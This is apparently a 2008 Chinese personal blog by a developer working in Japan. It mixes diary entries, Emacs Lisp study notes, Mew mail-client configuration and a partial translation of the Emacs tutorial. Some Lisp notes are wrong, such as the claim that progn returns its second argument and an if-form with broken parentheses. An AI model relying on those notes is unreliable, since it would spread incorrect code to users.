记录学习

2008年7月29日星期二

真的很累啊,要疯了

连续加班了了一个星期真的很累很累
当然了,这个时候肯定会有个家伙跳出来说
加一个星期班儿就累啊,我加1个月班儿都没那啥那啥的
我只能对他说,对不起,请回到你的猪圈去

话说奥运会还有不到10天就开幕了
不知道张艺谋这个老家伙能搞出什么样子的开幕式呢?
还是蛮期待的,毕竟全世界有大约40亿人在观看我们这个古老国家

据说台风来了,天气凉爽多了,太好了
牛仔裤里总算没有太多的汗了,哈哈
给几个在日本曾经照顾过我的同事发了几封联络邮件
怎么说呢,人与人总归是有区别的吧

一晃儿,周二又要过去了

MD,这新的数据怎么Made啊,你当Made in China那么容易的啊

2008年7月28日星期一

今後の生活はどうなるでしょか

刚回国就没日没夜的加班,每天半夜才回家,人终于累的不行倒下了
公司空调太冷,不小心就病毒性感染得感冒发烧了
周六周日病了还来公司加班,抽空去东方医院去输液,第一次呀输液啊
原来以为会很痛,没想到比打针要好多了,看来以后还是输液吧
不知道这样的日子还要持续多久啊
公司的做这个项目的人人心都不稳啊
我真担心以后没人愿意做这个日本的产品了
大家都心浮气躁,难道除了JAVA,C#等主流,其他真的就没什么前途么?
唉,我也不知道,走着看吧

2008年7月19日星期六

测试国内

国内测试

2008年7月17日星期四

Writing GNU Emacs Extension Note Day 3

定义别名
(defalias 'command1 'command2)

(progn 'command1 'command2)
progn函数表示执行参数的命令,并返回第二个参数的函数所返回的值

(add-hook 'command1 'command2)
表示把command2函数加入到command1的Hook中
比如
(add-hook 'find-file-hook '自定义的函数)
那么在执行打开文件的时候,会自动执行自己的函数做处理

hook是一个函数的列表

定义匿名函数
lambda()
例:
(lambda ()
(if (file-symlink-p buffer-file-name)
(progn
(setq buffer-read-only t)
(message "File is a symlink"))))
匿名函数没有参数

移除hook的函数方法
(remove-hook 'find-file-hooks 'read-only-if-symlink)

一般不建议在hook里面使用匿名函数,因为移除的时候不方便


定义局部变量
(let ((var1 value1)
(var2 value2)
. . .
(varn valuen))
body1 body2 . . . bodyn)


(if (yes-or-no-p . . . ) . . . )
The function yes-or-no-p asks the user a yes or no question and returns true if the answer
was "yes," false otherwise. The question, in this case, is:

(format "Replace %s with %s?
buffer-file-name
target)
This constructs a string in a fashion similar to C's printf.

关于Advice
一系列绑定到一个Lisp函数的Advice,表示每次在调用这个函数之前或之后这些Advice将会得到执行
有点类似于Hook

(defadvice switch-to-buffer (before existing-buffer
activate compile)
"When interactive, switch to existing buffers only."
(interactive "b"))

Writeing GNU Emacs Note Day 2

函数参数化

前面我们定义了一个函数用来返回到前一个窗口
现在让我们来做一个改进,希望这个函数能接收一个参数,返回到前面第N个窗口
(defun other-window-previous()
"select the privious window"
(interactive)
(other-window -1)
)

interactive这个函数表示other-window-previous可以用M-x XXX或者快捷键来调用

====>

(defun other-window-previous(n)
"select the Nth privious window"
(interactive "p")
(other-window (- n))
)

这里,函数other-window-previous接收前缀参数n(C-u N来传递的)
并且interactive也接收一个字符串类型的参数 "p",表示这个other-window-previous函数是一个
有参数的函数,如果没有传递给它参数,那么默认就是1
所以如果我们
C-u 4 C-x C-p那么就是返回前4个窗口
C-x C-p就是前一个窗口

很简单吧?呵呵

interactive的参数相关,请参阅 C-h f RET interactive

二 可选参数
我们进一步加以改进,使其参数能够可选输入或不输入

(
defun other-window-previous(&optional n)
"select the Nth privious window"
(interactive "p")
(if n
( ;if n not-nil
other-window (- n)
)
( ;if n is nil
other-window -1
)
)
)

或者以下部分可以简化为
(if n
( ;if n not-nil
other-window (- n)
)
( ;if n is nil
other-window -1
)
)
================》
(other-window (if n (- n) -1))
================》
(other-window (- (if n n 1)))

(if n n 1) ====> (or n 1)
推荐后面一种写法,只比较一次

最终写法如下:
(defun other-window-previous(&optional n)
"select the Nth privious window"
(interactive "p")
(other-window (- (or n 1))))

但在Emacs里的写法大都会如下
(defun other-window-previous(&optional n)
"select the Nth privious window"
(interactive "P")
(other-window (- (prefix-numeric-value n))))

这里interactive的参数是"P",表示传递给other-window-previous的参数按照Raw保持数据类型
而prefix-numeric-value表示能够将传递进来的Raw正确地"解析"或"还原"成数字类型的参数
就像是给interactive传递了一个"p"参数一样

我们写后面一种写法,是为了更加符合Emacs Lisp的写法,并且重用了已有的preifx-numric-value
的函数,便于重用

今天也到此为止啦,累,睡觉啦

绑定快捷键的时候,注意不要有空格

刚才注意到
我还以为中间有空格的呢哈哈

****************C-x SPC C-p****************
(global-set-key "\C-x \C-p" 'other-window-previous)


****************C-x C-p****************
(global-set-key "\C-x\C-p" 'other-window-previous)

呵呵,搞定

Writing GNU Emacs Extensions Note

全局绑定函数
(global-set-key keysequence command)

字符串中的转义字符是
\
如"\"" "\\"

META-x ==》 M-x(简写形式) ==》 "\M-x"(字符串形式)
CONTROL-x ==》 C-x(简写形式) ==》 "\C-x"(字符串形式)
CONTROL META-x ==》C-M-x(简写形式) ==》 "\C-\M-x"(字符串形式)
有时候,CONTROL-x也会有如下的形式
CONTROL-x ==》 ^x(简写形式) ==》 "\^x"(字符串形式)

(global-set-key "\M-?" help-command)
这个help-command是变量取值,传递给函数global-set-key

防止一个Symbol或者任何一个Lisp的Expression变成取值操作的符号
用一个单引号
如:(global-set-key "\M-?" 'help-command)
取Symbol本身,而不取值

模糊查询
如果只知道某个关键字,去需要查找函数,变量等,需要用到Apropos
语法: M-x Apropos RET 关键字 RET

在使用Emacs的时候,切换窗口用C-x o总觉得不太方便,想要返回上一个窗口的话,窗口一多
就要进行一次循环(鼠标操作除外-_-!),这时候,就像定义2个对应的函数,用来表示向前一个
窗口和向后一个窗口
准备:比较合适的快捷键是 C-x C-p 以及 C-x C-n
但经过 C-h b查看,这2个快捷键已经被使用了,但这2个功能又不是经常使用(几乎不用),所以
覆盖掉也没有大问题,要用的时候再用 M-x 调用函数即可,开始吧

首先,通过 C-h b 查看已有的 C-x o 的绑定信息,确定Command名称
然后定义 C-x C-n,在.emacs中加入以下绑定语句:
(global-set-key "\C-x \C-n" 'other-window)

然后,是向前一个窗口,目前系统中并没有这样的Command,怎么办,自己写一个吧呵呵
我们知道other-window可以接受一个-1的参数表示往前一个窗口,通常要如下( C-u -1 C-x o)达到
下面,定义新的Command
(defun other-window-previous()
"select the privious window"
(interactive)
(other-window -1)
)
********************************************************************
****注意区分Command和Function
****不是所有的Function都是Command,但是所有的Command都是Function
****Command是那些可以由键盘或者 M-x 直接调用的函数
********************************************************************

好了,Function定义完了,evaluating它吧,然后你就可以用 M-x other-window-previous来调用啦

最后,绑定到 C-x C-p上去吧
(global-set-key "\C-x \C-p" 'other-window-previous)

今天就到这里啦,明天继续翻译呵呵,不是原创,向作者致敬

葛西临海公园游泳

今天休息,下午闲坐着无聊,电车的定期券还能用,直奔葛西临海公园,希望能到那里的
海岸边游泳啥的,哈哈
到了海岸边果然不一样啊,海风很大,很爽,还带着一股海水的味道
可惜,木有看到一个人在游泳,此时正在涨潮时,加上风又大,海浪那个高啊
有些青年男女已经在那里卖弄风情了,我找了个没什么人的地方,脱了鞋就踩进去了瓦咔咔
一个浪过来我的裤子就全湿了,裤子里还带着黄沙啊,难受啊,索性就脱了外面的裤子
还有衣服,游泳吧,反正也没几个人,更别说有人认识我了哈哈,管他呢
在海浪里扑腾还真不错,海水那个浅啊,可我也不敢再往前面去了,万一一个浪把我给卷跑了
也没有人来救我,那就糟糕啦哈哈
扑腾了15分钟,喇叭就喊了,时间到了,要关门了
我靠,我这裤子还刚湿不久呢,得,上岸吧
没带换的内裤,上了岸直接穿上了沙滩裤,沙滩裤里有黄沙,恩,很糟糕不是么
上岸才看见有块牌子写道:不准游泳!
此时,我做出了一个古人屡试不爽的绝招,逃跑,若无其事,装没看见,且打且退。。。。。。。
冲完了脚,穿上衣服,走在路上,裤子渐渐干了,沙子也渐渐掉下来了,恩,很壮观不是么
一边走一边掉沙子哈哈,好玩
可惜了我那车费啊,唉,不过总算是游了一下日本的海了,哈哈

2008年7月16日星期三

Fw: [天天俯卧撑] 测试用户名

测试用户名

中文用户名不能显示?

买了个挂在脖子上的治疗肩膀疼的东西,但是肩膀越来越疼了,骗子!

虽然我买了个便宜货哈哈,Made In Korea,才105日元哈哈
我买给亲戚朋友的都要1980日元日本产的
为什么我总是舍不得对自己好些呢?
呵呵,还是脱掉它吧,免得没事儿弄点病出来
韩国货也不怎么样哈哈

さようならbengの皆さん

bengに最後の日がついに終わったんだねぇ!いよいよ帰国日が来ましたね!たのしみにしています 日本の中学生が売春してんですね 

2008年7月15日星期二

写了一天的道别邮件

只要是认识的,以前有过长期或短期接触的人,统统发了一封类似的道别信,以下是模板啦呵呵
以后也可以参考参考用呵呵
皆さん

お疲れ様です。顧です。
突然のご連絡となるご無礼をお詫びするとともに
在職中は大変お世話になりましたことを御礼申し上げます。
また、ご無礼や至らない所が数多くあったことを
お詫び申し上げます。
プロジェクトの皆様と一緒に仕事が出来たことに大変感謝しています。
有難うございました。
まだ皆様と一緒に仕事をすることを期待しています。
皆様の今後のご活躍をお祈りしています。
皆様お元気で、良いお年をお迎えください!
ありがとうございました、また、今後に連絡します
本社のメールアドレス:
XXXXXXXXXX有限会社
XXXXguyq@dealeasy.com
以上、よろしくお願いいたします

大家都踊跃的回我邮件呢,呵呵,都还是蛮客气的,人都不错,跟碰到的一些日本右翼还是有区别的吧
大家都保重吧
大哥我回国了,你们要好自为之啊呵呵

今天是在日工作的最后一天了

早上给N给共事过的日本人发Mail,打个招呼说俺要回国啦,以前都承蒙大家的照顾啦
以后也请多多指教啦等客套话,其实我都是抄的,都是敬语,我哪儿会?哈哈估计日本人也不看
刚才跟马宁聊起来,马宁说的话让我想起来他跟张勇说的话来了
今天是我最后一天啦,能回国了碰到谁还能镇定自若的在那儿研究问题?
那我真是佩服佩服,我不行,我很激动,终于能回国啦哈哈
不过反过来想想,如果我是马宁,我还有大半年才能回去的话,突然有个人跑过来跟我说
没有心思研究问题什么的话,我估计也会说马宁那样的话吧,哈哈
说教谁不会,我估计马宁到最后也不过跟我们差不多哈哈,人嘛
古人说,随心而动是做人的最高境界,何必要勉强自己呢?当然,适当时候的克制也是必须的。

明后天休息2天,星期六回去咯,无聊的单身日子终于要结束了
不管身处如何繁华喧闹的都市,没有亲情,友情和爱情
一样是索然无味的,仿佛所有的东西都跟自己无关
这时候,如果人一时想不开,也就能明白为什么会有人去跳地铁了
唉,做日本人也不容易,可怜的人啊

電車の中でつまらない

先銀座に行きました!彼女の化粧品を買いました 疲れたなのに銀座の夜景を見ってすぐに元気になんだった はは 日本語もうだめだ 

Mew 常用设置 记录

一 主题为空时提示信息
Suppose you set `mew-ask-subject' to `t'. If Subject: is
empty, Mew asks you its value. If you want to leave it empty, just type
`RET'. The default value of this variable is `nil'.


二 设置签名文档
新建"~/.signature"文件,在写Mail的时候按下
`C-c TAB'
Insert "~/.signature" on the cursor point.

三 回复的设置
在Summary下,回复别人的邮件,按a或者A
a 回复内容默认为空
A 回复内容自动加上所回复邮件的正文,用默认的citation格式
如果是按a来回复邮件,在正文中
按`C-c C-y 那么将和在Summary里按下A同样自动添加回复符号和所回复邮件的正文
按`C-uC-cC-y 那么将只拷贝所回复邮件的正文,没有回复前缀符号
常用的回复还是按A吧呵呵

四 转发
在Summary模式下按W(大写)或者r(re-sent)

五 秘密发送(应该叫什么名字来着)
就是发送给很多人,但收到的人只能看到发给自己了,不知道发给了其他人是谁,并且不能直接回复
方法:
To handle this, Mew makes use of ":;" for anonymous addresses. Please
look at the following example.
To: party:piglet@example.org,roo@example.org;
From: Pooh <winnie-the-pooh@example.net>

这样每个人只能看到To: party:;和发件人,其它不知道哈哈
或许能找2个仇人,报仇哈哈
不错的主意呵呵

六 未读邮件前自动加符号U的设置
(setq mew-use-unread-mark t)
手动设置某封邮件为未读
`M-u'
Put the `U' mark to the current message.
读完邮件后自动去掉符号U

七 暂时就这些呵呵
其它的不常用
比如邮件分类信息等等,可以设置分类规则,我一般比较懒,默认都在inbox里了呵呵

2008年7月14日星期一

Mew的字符集很奇怪,自动识别有问题

又回来了呵呵,上面一篇写完了发送的时候总是提示我说是iso-japan2202什么的发送
我在mule里设置语言环境为中文GB都不行
无奈之下,又用了办法,改了mule.el的头几行代码,改成一直用UTF-8的格式发送
唉,真的很奇怪
因为我配置完后第一封mail写的中文自动识别是正确的,gb2312发送
但是字比较少
上面一篇里是不是字比较多,Mew自动识别成日文了呢?他是怎么判断是否是中文还是
日文的呢?看来还得好好看一下他的源代码啊
日文发送肯定没问题呵呵
这个情况虽然不难解决,但还是挺奇怪的,不是么

呵呵,刚才试着发送看了一下,自动识别正确的,gb2312呵呵
真的郁闷

WinXP日文系统,Emacs23,Mew6.1安装配置记录

家里的中文系统安好了Emacs,一切OK之后,今天来公司闲来无事也搞一个吧呵呵
一 安装Emacs
首先安装Emacs23到某个目录中,如C:/Emacs,注意不用安装在默认的Programs files下
中间有空格的目录,在安装Mew的时候会报错
安装完Emacs23后,新建2个环境变量
一个是$home,我的是C:\Documents and Settings\gu-yuqing
另外一个是为了Mew而设置的$TZ,我的是JST-8(这个JST-8作者说是日本的,中国的时间可能是7,也可能是9吧呵呵)
最后在Path里加入Emacs的Bin路径,我的是:C:\Emacs\emacs\bin
如果你安装了cygwin的话,path里的Emacs设置放在cygwin的前面,不然Mew会安装到cygwin里面,不要搞错

二 安装Mew
解压缩下载下来的Mew6.1到某个目录下,根据系统的不同,方法不同
Windows下用cynwin编译安装的话,请看我前一篇博客,其实上次我因为不能执行Mew目录下的Mew.exe来安装,
所以不得已用cynwin来编译安装的,唉,一言难尽
今天安装的很顺利,高兴撒
首先,到Emacs的bin目录中执行addpm.exe,应该是往注册表里注册Emacs的信息,否则Mew.exe有可能报错
其次,执行解压缩出来的Mew目录中的唯一的可执行文件Mew.exe,自动执行安装

三 可选,如果SMTP服务器需要认证的话,需要下载和安装三个文件
具体参考我前一篇博客

四 配置Emacs的配置文件
添加如下的内容,保存编译
;Setup your name and Address in order to send mail
(setq user-full-name "GuYuQing")
(setq user-mail-address "gu-yuqing@it.to-be.co.jp")

;;;F6:Open mew
(global-set-key [(f6)] 'mew) ;配置快捷键,个人喜好而设定

(require 'mew)
;mew Settings
(autoload 'mew "mew" nil t)
(autoload 'mew-send "mew" nil t)
;(setq mew-charset-m17n "utf-8") ;设置默认的字符集,这里不用,默认是UTF-8,但在我日文系统中默认是日文字符集
(setq mew-ask-charset '("us-ascii" "iso-8859-1" "iso-8859-15")) ;当文本的字符集不在括号里的范围内的话会提示信息
(if (boundp 'read-mail-command)
(setq read-mail-command 'mew))
(autoload 'mew-user-agent-compose "mew" nil t)
(if (boundp 'mail-user-agent)
(setq mail-user-agent 'mew-user-agent))
(if (fboundp 'define-mail-user-agent)
(define-mail-user-agent
'mew-user-agent
'mew-user-agent-compose
'mew-draft-send-message
'mew-draft-kill
'mew-send-hook))
;(setq mew-use-text/html t)

;;Save the password for 20 minutes in buffer
(setq mew-use-cached-passwd t)

五 新建Mew的配置文件.mew.el
添加以下内容,保存,可以编译一下
(setq mew-pop-size 0)
(setq mew-smtp-auth-list nil)
(setq toolbar-mail-reader 'Mew)
(set-default 'mew-decode-quoted 't)
(setq mew-prog-pgp "gpg")
(setq mew-name "顧兪清")
(setq mew-user "gu-yuqing")
(setq mew-smtp-user "XXX") ;邮箱的用户名
(setq mew-mail-domain "it.to-be.co.jp") ;邮箱的后缀名
(setq mew-smtp-auth-list nil)
(setq mew-smtp-server "smtp.xyz.co.jp")
(setq mew-pop-server "pop.abc.co.jp")
(setq mew-pop-user "guyuqing") ;邮箱的用户名,pop user和邮箱用户名可能不同哦,看公司的配置而定
(setq mew-pop-auth 'pass)
(setq mew-use-cached-passwd t)
(setq mew-icon-directory "C:/Emacs/emacs/site-lisp/mew/etc")
(when (boundp 'utf-translate-cjk)
(setq utf-translate-cjk t)
(custom-set-variables
'(utf-translate-cjk t)))
(if (fboundp 'utf-translate-cjk-mode)
(utf-translate-cjk-mode 1))
(require 'flyspell) ;检查单词正确与否

五 测试吧呵呵
F6
GOGOGO

目前想知道Mew是怎么才能自动定时检测POP服务器
谁知道?告诉我,谢谢

最后我才知道,我前一篇的安装可能有问题,我还改了Mew的源代码了,无奈啊哈哈

PS,发送邮件的时候,如果字符集有问题
比如你写的是中文,但Mew默认用日文字符发送,这时候你就手动在Options里设置
Mule的Set Language Environment的设置一下发送的字符集即可

收到的邮件的格式自动识别错误的话,可以按C-c C-l来矫正

应该比较全面了呵呵
谢谢你耐心的看完

Mew的地址簿的格式

看了一下Mew的地址簿的写法,写点笔记,方便以后查阅
Mew定义地址方法有两种
格式一:<shortname>: <address1>[, <address2>, <address3>,...]
guyuqing: guyuqing@gmail.com ,guyuqing@163.com
(地址栏里输入guyuqing后按TAB出现guyuqing@gmail.com,再按TAB出现guyuqing@163.com)
guqingfei: guqingfei@gmail.com
family: guyuqing,guqingfei[,<shortname>,...]
(设置一个Group,方便群发)
格式二:<shortname> <address1>[, <address2>, <address3>,...] <nickname> <fullname>
yangyang guyuqing@gmail.com , guyuqing@163.com guyq guyuqing
* kazu@example.org , kazu@example.net Kazu-kun
其他与格式一方法类似,不列举

在Summary模式下,增加当前的发送者到地址簿中的方法:
`C-c C-a'出现以下buffer供输入
#If you want to register this entry, type 'C-c C-c'.
#If you want to NOT register this entry, type 'C-c C-q'.
Shortname: kazu
Addresses: kazu@example.org
Comments: friends

`C-uC-cC-a'
#If you want to register this entry, type C-c C-c.
#If you want to NOT register this entry, type C-c C-q.
Shortname: kazu
Addresses: kazu@example.org
Nickname:
Name: Kazuhiko Yamamoto
Comments:
保存: `C-cC-c
不保存退出: `C-cC-q'

注:
If you want to use characters of multiple languages, put the following
onto the beginning of Addrbook.

#-*-coding:ctext;-*-

以上完毕

2008年7月13日星期日

睡觉了,好累啊,终于算半搞定了呵呵

自我安慰一下,也不是白干了
这周就要回国了
日本真不是个人呆的地方啊
哈哈

Emacs23写博客超简单的方法:)



























不要说我么有技术含量哦

如图,点击图片放大
具体,可参见帮助

如何通过电子邮件发帖?

中文WinXP,Emacs23,MEW6.1,配置终于告一段落,有点心得

折腾了将近一个晚上,唉,为什么我的情况总是在网上找不到
我按照一般流程装完Emacs和MEW之后,发送邮件的时候总是出现乱码
看Info后发现默认发送是UTF8的,确实没错呀,没办法,自己在.emacs里添加这个
变量来显示声明吧,他不认我这个爹呀,唉
.......
(setq mew-charset-m17n "utf-8")
(setq mew-ask-charset '("us-ascii" "iso-8859-1" "iso-8859-15"))
......
OK,发送吧,情况很糟糕,Mew总是提示我是否按照iso-japan-2022-jp-2来发送
中文不行,日文也不行,网上查资料吧,都是说设置了这个mew-charset-m17n就OK了
太扯淡了,真不知道他们怎么没有我这样的问题

在几乎绝望的时候,我突然想要不直接去找定义这个变量的地方直接修改吧,或许是个不错的注意哦
C-h f 找这个变量,发现是在一个名为mule.el的文件下,OK,用Emacs打开,修改了开头的几行
####################################################################################################
(defun mew-charset-m17n ()
(if (string= mew-charset-m17n mew-utf-8)
(if mew-internal-utf-8p
mew-utf-8
(if (condition-case nil (require 'un-define) (file-error nil))
mew-utf-8
; mew-iso-2022-jp-2)) ;注释掉了,咬死了utf-8了
; mew-iso-2022-jp-2)) ;注释掉了,暂时牺牲掉日文了,没办法
mew-utf-8))
mew-utf-8))
####################################################################################################
OK,bite-compile一下,保存,重新打开Emacs,发送邮件,会向你确认是否用UTF8发送,OK,发送,gogogo
OK,这下能发送正常的中文邮件啦呵呵
虽然很累,但是还是很有收获嘛
明天再讲讲Emacs写文章发到Blogger上的方法
很简单的几步,目前我觉得比网上的办法更简单的方法呵呵

こんにちは、お早うございます

お早うございます
今日は何丒日ですか
今晩は、いま

macs 快速指南(查看版权声明请至本文末尾)

macs 快速指南(查看版权声明请至本文末尾)

【注意:位于【】之间的内容是译注,比如本行,下同。】

Emacs 键盘命令通常包含 CONTROL 键(有时候以 CTRL 或 CTL 来标示)和
META 键(有时候用 EDIT 或 ALT 来标示)。为了避免每次都要写出全名,我们
约定使用下述缩写:

C-<chr> 表示当输入字符 <chr> 时按住 CONTROL 键。
因此 C-f 就表示:按住 CONTROL 键再输入 f。

M-<chr> 表示当输入字符 <chr> 时按住 META(或 EDIT 或 ALT)键。
如果你的键盘上没有 META 、EDIT 或 ALT 键,用下述方法也等效:
先按一下 ESC 键然后放开,再输入 <chr>。我们用 <ESC> 来表示
ESC 键。

重要提示:要退出 Emacs,请用 C-x C-c(两个连续的组合键)。下文中左边顶
行的">>"字样用来提示你尝试键盘命令。比如:
<<Blank lines inserted around following line by help-with-tutorial>>
[本页当中特意留出一些空白是出于教学目的,请继续往后看]
>> 现在输入 C-v (查看下一屏文字)移动到下一屏。
(别紧张,在输入字符 v 的同时注意要按住 CONTROL 键)
从现在开始,每读完当前一屏你都需要这样做一次。

值得注意的是,当你从上一屏滚到下一屏时,中间会有两行的重复;这样做是为
了维持滚屏的连续性,方便你顺畅、连续地阅读。

用编辑器,开门第一件事就是学会在文字中移动。你已经知道了 C-v 可以向下移
动一屏,要往上移,请用 M-v (也就是按住 META 键,然后输入v,如果你没有
META、EDIT 或 ALT 键那么就先按 <ESC> 再按 v)。

>> 试试 M-v,然后再试试 C-v,来回遛几次。


* 小结(SUMMARY)
-----------------

以下命令在翻页浏览时相当有用:

C-v 向前移动一屏
M-v 向后移动一屏
C-l 重绘屏幕,并将光标所在行置于屏幕的中央
(注意是 CONTROL-L,不是 CONTROL-1)

>> 找到光标,留意其附近的文字,然后输入 C-l。
找找光标在哪里,你会发现其附近的文字并没有变化。

如果你的键盘上有 PageUp 和 PageDn,也可以用这两个键来滚屏。不过使用
C-v 和 M-v 的效率要更高一些。


* 基本的光标控制(BASIC CURSOR CONTROL)
----------------------------------------

整屏的移动很有用,但是如何在文字中精确定位呢?

有几种方式可以选择。用方向键当然可以,不过更有效率的方法是保持双手位于
主键盘区,然后使用 C-p 、 C-b 、 C-f 和 C-n 这四个命令。它们的功能和方
向键是一样的,如下图所示:

上一行 C-p
:
:
向左移 C-b .... 目前光标位置 .... 向右移 C-f
:
:
下一行 C-n

>> 用 C-n 或 C-p 将光标移到上图的中央。
按 C-l,整幅图会被显示在屏幕的中央。

"P N B F"四个字母分别代表了四个词,用这四个词记忆这些组合键会更容易:
P 代表 previous(上一行),N 代表 next(下一行),B 代表 backward(回
退),而 F 则代表 forward(前进)。这些组合键今后将与你形影不离。

>> 按几次 C-n 把光标往下挪到这里。

>> 用 C-f 把光标移动到这一行,然后再用 C-p 往上挪。
注意观察当光标在一行的中央时 C-p 命令的行为。

每行文字都以一个"换行符"结束,"换行符"把行与行区分开来。文件的最后
一行也应该也有一个换行符(不过 Emacs 并不强制要求这一点)。

>> 在一行的行头输入 C-b。
光标应该会移动到前一行的行尾,因为光标在回退过程中越过了换行符。

同样 C-f 也可以像 C-b 一样越过换行符。

>> 连按几次 C-b,感受一下光标的移动。
然后按几次 C-f 回到本行的行尾。
再按一次 C-f,光标会移动到下一行。

当你移动光标穿越屏幕的上下边界时,在边界外的文字会移动到屏幕内,这称为
"滚动"(scrolling)。滚动使得光标可以被移动到文字中的任何位置,并且还
不会让光标跑到屏幕外边去。

>> 用 C-n 将光标下移,一直越过屏幕边界,同时观察发生了什么变化。

如果你嫌一个字符一个字符地挪光标太慢,你还可以一个词一个词地跳。M-f
(META-f) 可以将光标往前移动一个词,而 M-b 则是往后移。【这里的"词"指
英文单词,对中文来说,则是指移动到下一个标点符号。】

>> 试试 M-f 和 M-b。

如果光标停在一个词的中间,M-f 会移动到这个词的末尾。如果光标处于词与词
之间的空白处,M-f 会移动到下一个词的末尾。M-b 的功能类似,只是方向相反。

>> 按几次 M-f 和 M-b,中间夹杂一些 C-f 和 C-b。
你可以观察到 M-f 和 M-b 在不同位置上所表现出来的不同行为。

请注意 C-f 、C-b 和 M-f 、M-b 两对之间的类比关系。通常的惯例是:META 系
列组合键用来操作"由语言定义的单位(比如词、句子、段落)",而 CONTROL
系列组合键用来操作"与语言无关的基本单位(比如字符、行等等)"。

类似的惯例在"行"与"句子"之间也同样适用:C-a 和 C-e 可以将光标移动到
"一行"的头部和尾部;而 M-a 和 M-e 则将光标移动到"一句"的头部和尾部。

>> 按两次 C-a,再按两次 C-e。
按两次 M-a,再按两次 M-e。

想一想为什么重复的 C-a 命令会没有作用,而重复的 M-a 命令则会让光标不断
地回退到上一个句子。虽然这个类比规律并不严格,但是很自然。

光标停留的位置也可以称作"点位"(point)。或者干脆说,光标指示出了屏幕
上"点位"在文本中的位置。

这里对简单的光标移动命令做一个总结,其中也包括了整词和整句的移动:

C-f 向右移动一个字符
C-b 向左移动一个字符

M-f 向右移动一个词【中文是移动到下一个标点符号】
M-b 向左移动一个词【中文是移动到上一个标点符号】

C-n 移动到下一行
C-p 移动到上一行

C-a 移动到行首
C-e 移动到行尾

M-a 移动到句首
M-e 移动到句尾

>> 把上面所有的命令都练习几次,这些可都是最常用的命令。

这里还要介绍两个重要的光标移动命令:M-< (META 小于号)可以将光标移动到
所有文字的最开头;M-> (META 大于号)可以将光标移动到所有文字的最末尾。

注意,在大部分键盘上,小于号(<)需要用上档键(Shift)来输入,所以在这
些键盘上你应该用 Shift 键来输入 M-<,如果不按 Shift 键,你输入的会是
M-comma(META 逗号)。

>> 试一试 M-< ,移到本快速指南的最开始。
然后再按几次 C-v 回到这里。

>> 试一试 M-> ,移到本快速指南的最末尾。
然后再按几次 M-v 回到这里。

如果你的键盘上有方向键的话,也可以用它们来移动光标。不过我们有三个理由
推荐你学习 C-b 、C-f 、C-n 、和 C-p:(1)它们在任何键盘上都能用。(2)
当你熟练使用 Emacs 之后,你会发现用这些组合键比用方向键要快得多,因为你
的手不需要离开打字区。(3)一旦你习惯了使用这些组合键,你也可以很容易地
适应其它更高级的光标移动命令。

大部份的 Emacs 命令接受数字参数,并且对于多数命令而言,这些数字参数的作
用是指定命令的重复次数。为一个命令指定数字参数(也就是重复次数)的方法
是:先输入 C-u,然后输入数字作为参数,最后再输入命令。如果你有META (或
EDIT 或 ALT)键,那么还有另一种办法:按住 META 键不动,然后输入数字。不
过我们还是建议你用 C-u,因为它在任何终端机上都能用。这种数字参数也称为
"前缀参数",意思是说这个参数是先于使用它的命令而输入的。

举例来说, C-u 8 C-f 会向前移动 8 个字符。

>> 为 C-n 或者 C-p 指定一个数字参数,这样你可以只用一个命令就把光标移动
到本行的附近。

虽然大部份命令用数字参数来作为其重复次数,但是也有些命令例外,它们将数
字参数另做它用。比如有些命令(目前还没学到)仅仅将前缀参数作为一个标
志——只要有一个前缀参数出现,不管其值为何,命令的功能都会改变。

而 C-v 和 M-v 则属于另一种类型的例外。当给定一个参数时,它们将滚动你指
定的"行数",而不是"屏数"。举例来说,C-u 8 C-v 将屏幕向下滚动 8 行,
而不是 8 屏。

>> 现在试试看,输入 C-u 8 C-v。

这个命令应该已经将文字向上滚动了 8 行。如果你想将它再次地向下滚动,你可
以给定一个参数然后执行 M-v。

如果你正在使用一个窗口系统,比如 X11 或者微软的 Windows,那么在 Emacs
窗口的左边或者右边应该有一个长方形的区域叫"滚动条",你可以用鼠标操纵
滚动条来滚动文字。

>> 试着在"滚动条内的反白区域"上按一下鼠标中键。
文字应该会滚动到鼠标所指示的位置。

>> 当按住中键时,试着将鼠标上下移动。
你会看到文字随着鼠标的移动而上下滚动。
【Windows 版本符合 Windows 程序的传统操作习惯,上述操作不适用。】


* 在 EMACS 失去响应的时候(WHEN EMACS IS HUNG)
-----------------------------------------------

如果 Emacs 对你的命令失去响应,你可以很安全地用 C-g 来终止这个命令。
C-g 也可以被用来终止一个执行过久的命令。

C-g 还可以被来取消数字参数和那些输入到一半的命令。

>> 输入 C-u 100 设定一个值为 100 的数字参数,然后按 C-g。
现在再按 C-f,光标应该只会移动一个字符,因为你已经用 C-g 取消了参数。

如果你不小心按了一下 <ESC>,你也可以用 C-g 来取消它。
【这个说法似乎有问题,因为按照这个按键顺序输入的应该是 C-M-g。
取消<ESC> 的正确做法是再连按两次 <ESC>。】


* 被禁用的命令(DISABLED COMMANDS)
-----------------------------------

有一些 Emacs 命令被"禁用"了,以避免初学者在不了解其确切功能的情况下误
用这些命令,造成麻烦。

如果你用到了一个被禁用的命令,Emacs 会显示一个提示消息,告诉你这个命令
到底是干什么的,询问你是否要继续,并在得到你的肯定之后再执行这命令。

你要是真的想执行被禁用的命令,那么在 Emacs 询问你的时候应该按空格。一般
来说,如果你不想执行,按"n"就行了。

>> 试试 C-x C-l (这是一个被禁用的命令)
然后用 n 来回答问题。


* 窗格(WINDOWS)
-----------------

Emacs 可以有多个窗格,每个窗格都显示不同的文字。我们后面再介绍怎么对付
多个窗格,现在先让我们先搞明白如何关掉多余的窗格。其实也很简单:

C-x 1 只保留一个窗格(也就是关掉其他所有的窗格)。

也就是先按 CONTROL-x 然后再按 1。C-x 1 会保留光标所在的窗格,并将其扩大
到整个屏幕,同时关掉所有其它的窗格。

>> 把光标移到本行然后输入 C-u 0 C-l。

>> 输入 CONTROL-h k CONTROL-f。观察当一个新窗格出现时当前窗格(用来显示
CONTROL-f 命令的文档)是如何缩小的。

>> 输入 C-x 1 关掉文档窗格。

这个命令跟先前学到的命令不太一样,因为它包含了两个字符,以 CONTROL-x 开
始。有一系列命令都是以 CONTROL-x 开始的,这些命令许多都跟"窗格、文件、
缓冲区【缓冲区(buffer)会在后文详细介绍】"等等诸如此类的东西有关,其
中有些命令可能有 2 个、3 个或者 4 个字符长。


* 插入与删除(INSERTING AND DELETING)
--------------------------------------

插入文字很简单,敲键盘就行了。你能看到的字符,比如 A、7、* 等等,都被
Emacs 视为文字并且可以直接插入。敲 <Return>(回车键)会插入一个换行符。

你可以用 <Delback> 来删除最后输入的的一个字符,这个跟你在 Emacs 之外的
用法应该一样。一般来说 <Delback> 就是位于 <Return> 键上方某处的一个大号
